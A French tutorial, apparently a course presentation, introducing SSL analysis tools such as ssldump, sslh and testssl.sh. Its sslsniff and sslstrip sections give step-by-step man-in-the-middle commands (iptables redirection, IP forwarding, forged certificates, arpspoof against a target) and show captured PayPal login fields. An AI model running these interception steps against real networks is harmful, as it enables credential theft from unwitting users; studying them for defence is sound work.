Présentation de différents outils d'analyse pour SSL

I: SSLDUMP

Pour commencer, il faut savoir que ssldump est un analyseur de trafic chiffré avec SSL/TLS. Il écoute toutes les connexions TCP qui sont sur le réseau et essaie de les déchiffrer pour afficher en clair le contenu des paquets.

Afin d'utiliser ssldump, vous devez renseigner l'interface réseau qui permettra la capture ainsi que le port sur lequel vous voulez écouter le trafic.
Si nous voulons écouter du trafic http sécurisé avec SSL (HTTPS) avec l'interface eth0, il faut entrer la commande suivante :
ssldump -i eth0 port 443
Résultats pour le site msp.f-secure.com en HTTPS ici

Il est aussi possible de n'écouter le trafic que pour un seul serveur distant et d'utiliser, si ce dernier le demande, une clé ou un mot de passe pour s'identifier.
Exemple : ssldump -k ~/cle.pem -p monpass -i eth0 host monserveur

II: SSLH

SSLH est un multiplexeur permettant de faire tourner à la fois HTTPS et SSH sur un même port. Ceci peut être pratique, notamment si l'on veut éviter les filtrages qui sont couramment utilisés sur le port 22.

Pour comprendre comment c'est possible, il faut regarder comment les connexions via HTTPS et via SSH fonctionnent (outre le numéro de port). Comme le protocole http, le client qui veut se connecter en HTTPS à un serveur demande d'abord à accéder à la page web puis attend une réponse du serveur. Au contraire, pour une connexion SSH, le client attend en premier lieu un authentification du serveur avant de commencer à transmettre.

Un petit exemple très simple pour voir le fonctionnement : sslh -p 0.0.0.0:443 -s 127.0.0.1:22 -l 127.0.0.1:84438

Dans notre exemple, le serveur SSH ne nécessite aucune configuration puisque les paquets sont bien redirigés vers le port 22. Cependant pour le serveur web (Apache, etc...), il faut le configurer pour écouter le port 84438 pour toutes les requêtes passées avec SSL. Cette configuration dépend du serveur web installé.

III: SSLSNIFF

Sslsniff agit comme une attaque dite de "man in the middle" sur une connexion qui utilise SSL comme par exemple HTTPS.
Pour ce faire, il intercepte le trafic https venant du client, génère un faux certificat pour le site sur lequel le client veut se connecter, le signe avec une clé prédéfinie, et enfin il fait transiter les information vers le serveur. de son côté le serveur ne voit aucune différence puisque pour lui, le "man in the middle" agit comment un client normal.

D'abord il faut rediriger le trafic du port 443 vers celui où l'on écoute, c'est-à-dire le port 13370 :
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 13370

Puis on active la redirection ip: echo 1 > /proc/sys/net/ipv4/ip_forward

Puis on exécute: sslsniff -s 13370 -c ~/certif.crt -w ~/sslsniffLogs

Enfin il suffit juste de se faire passer pour la passerelle par défaut du vrai client: arpspoof -i eth0 -t ‹ipcible› ‹ippasserelle›

(!) N'oubliez pas de générer le certificat avec openssl ! (Voici un petit script pour en générer un et le copier sur votre bureau)

IV: SSLSTRIP

Sslstrip est une version améliorée de sslsniff. Il redirige le trafic HTTPS vers du HTTP tout en faisant croire au client que la connexion est sécurisée avec SSL.

Tout d'abord redirigeons le trafic du port 80 vers le port sur lequel on veut écouter :
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 13370
Si on veut capturer tout trafic HTTP et HTTPS (SSL) depuis le port que l'on a choisi précédemment, procédons comme suit :
sslstrip -w ~/sslstripLogs/log.txt -a -l 13370 -f

Il ne faut bien entendu pas oublier le arpspoof (Cf. III).
Résultats pour le site paypal.com en HTTPS ici. (notons à la 2e ligne la présence de "&login_email=test%40test.fr&login_password=super-mot-de-passe").

V: TESTSSL.SH et THCSSLCHECK

Testssl.sh permet de lister les différentes méthodes de chiffrement ainsi que la version de SSL/TLS utilisée d'un site web, à conditions que ce dernier accepte les connexions chiffrées avec SSL (HTTPS).
Voici le résultat de testssl.sh sur un des serveurs d'authentification de facebook.com : Résultats testssl

Thcsslcheck est quant à lui un exécutable pour windows qui permet lui aussi de scanner les versions SSL/TLS et les méthode de chiffrement (AES, RSA, etc...). Cependant il classe chaque méthode par version de SSL/TLS.
--› Résultats thcsslcheck


Présentation orale ici